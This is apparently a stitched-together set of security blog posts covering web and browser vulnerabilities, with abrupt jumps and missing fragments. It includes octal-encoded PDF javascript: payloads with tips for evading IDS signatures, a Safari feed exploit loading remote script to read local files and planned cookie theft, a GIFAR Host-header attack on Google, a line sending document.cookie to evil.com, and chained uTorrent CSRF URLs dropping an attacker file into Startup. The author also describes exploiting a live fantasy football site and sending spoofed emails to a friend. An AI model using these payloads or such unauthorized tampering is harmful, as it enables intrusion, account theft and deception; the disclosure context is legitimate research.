This week’s sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli

I’ll post more samples in the coming weeks.

Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process

First, some background.  I love American football.  My team is the Chicago Bears.   I’ve been a Bears fan since the 80′s when Walter Payton, Mike Singletary, and Jim McMahon dominated the field.  The last few years as a Bears fan has been difficult, but I’ve hung in there.  A few years ago the Bears had a quarterback named Rex Grossman.  To put it lightly, he wasn’t the greatest QB a team could have, in fact the Bears have traded him away.  I never really liked him.

Earlier this month, I was invited to play in a fantasy football league.  I’ve never played fantasy football, but I understood the rules and had many friends who played.  My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot.  Before the “season” begins, each player selects the football players they think will be the most successful during the season.  As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers.  I was shocked to see my star player injured in the first game of the season with a season ending injury.  As I navigated the fantasy football website to find a replacement player, I came across several interesting issues.  There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.

When a team decides to add a new player to their roster the player navigates through several menus and selection screens.  The final confirmation URL for adding a player to the bench looks something like this:

leagueId=111111&incoming=1&trans=2_4480_-1_1002_3_20

The leagueId represents the “league” in which our teams are playing.  The trans parameter represents the actual transaction.  Looking at the trans parameter, I’ve broken the various pieces into the following:

2 <– this is the type of transaction to be executed

4480 <– This is the unique player ID for Rex Grossman

-1 <– some sort of increment value/ counter?

1002 <– another value that describes the transaction

3 <– team id for my team

20 <– not sure what this number is

Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking.  These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster.   I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).

Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.

A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play.  My rival then dropped him from the roster before the next weeks play.

Unfortunately for my rival, Rex is a persistent player.  This week I traded him from waivers for another player on my rivals team.  Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).

trans=3_2753_1_20_-1_1002|2_4480_-1_1002_1_20

The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup).  In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.

Of course, another spoofed email goes out to explain the situation.

We’ll see what next week brings.  I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…

PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content.  With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment).  Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF.  The safer way to handle PDFs is to serve them with the content-disposition set to attachment.  An even better method is to serve the user controlled content from a separate domain.  This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures.  Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.

Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs.  I’d like to share some of the more interesting items.

PDFs Support Octal Encoding

PDFs support  JavaScript from within the PDF.  Unfortunately, the script executed from within the PDF will not have access to the browsers DOM.  In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI.  Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding.  I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (\72) for the “:” character.  An example of the OpenAction is presented below:

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/S /URI
/IsMap false
/URI (javascript\72alert(“FTW – “+document.domain))
>>

A super simple XSS with PDFs.  When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS.  Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline.  Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it.  In fact, octal encoding can be used throughout the PDF in various scripts and actions.  For example, you could encode the entire protocol handler and it would still work:

/URI (\112\101\126\101\123\103\122\111\120\124\72alert(document.domain))

You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.

/URI (j\101v\101s\103r\111p\124\72alert(document.domain))

If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload.  This was the bug Adobe fixed with CVE-2010-0190

Security models are different for local and remote PDFs

Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely.  It can be useful to determine whether the PDF was opened remotely or locally.  The following script returns an indication as to how the PDF was loaded.

//In the browser or loaded locally
if ( this.external )
{
// Viewing from a browser
}
else
{
// Viewing in the Acrobat application.
}

This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.

PDFs can be used to call the default browser

There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser.  Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.

app.launchURL(“http://xs-sniper.com/”,true);

If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI.  This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances.  If the user is using the default browser to open the PDF, this can help bypass pop-up blockers.  You can test this by setting your default browser to IE and browsing the following PDF in FireFox.  PDF HERE

There was an excellent presentation at PacSec that covered a ton of PDF bugs and Didier Stevens always has interesting PDF stuff.  I hope this helps someone out there!  Happy hunting.

Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You’ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari’s transform).

When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn’t necessary for the exploit, it adds a bit of flava…):

<category term=”Hip Hop/Rap” scheme=”http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2″ label=”Hip Hop/Rap”/>

<link title=”Preview” rel=”enclosure” type=‘video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”>
</script>’ href=”data:text/html,testtesttest” im:assetType=”preview”><im:duration>30864</im:duration></link>

<im:artist href=”http://itunes.apple.com/us/artist/jay-z/id112080?uo=2″>Jay-Z</im:artist>

The XML above is transformed into the following by Safari’s feed processing routines:

<div>

<!– <img src=”feed:///__icon32__/video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”> </script>”> –>

<img src=”file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg” height=”32″ width=”32″/>

The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this

Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!

As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:

The footer looks something like this:

We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.

When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.

After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.

Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.

Java’s HTTPUrlConnection object has a method named “setRequestProperty”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500.  I also set the HOST header to groups-beta.google.com.

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.

CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;



The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.


Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location.  Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location?  You can find the answer here.  For those of you in disbelief, you can test your favorite browser(s) here.


SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…


CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.

It’s a crazy world out there and the web browser is the window to the wild wild west.  I wish Opera security team the best of luck! 

• Rob uses a first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI.  The CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1

• Once Rob has “turned on” the “Move completed downloads” functionality, he uses a second CSRF to change the path of where the completed torrent download is placed.  In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder.  This CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

• The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file.  Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs).  This CSRF looks something like this:
   http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent

Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run…  there you have it… compromise of a victim’s system through three CSRFs!  Scary stuff… you can read more about the issue on Robs Blog <robs blog>.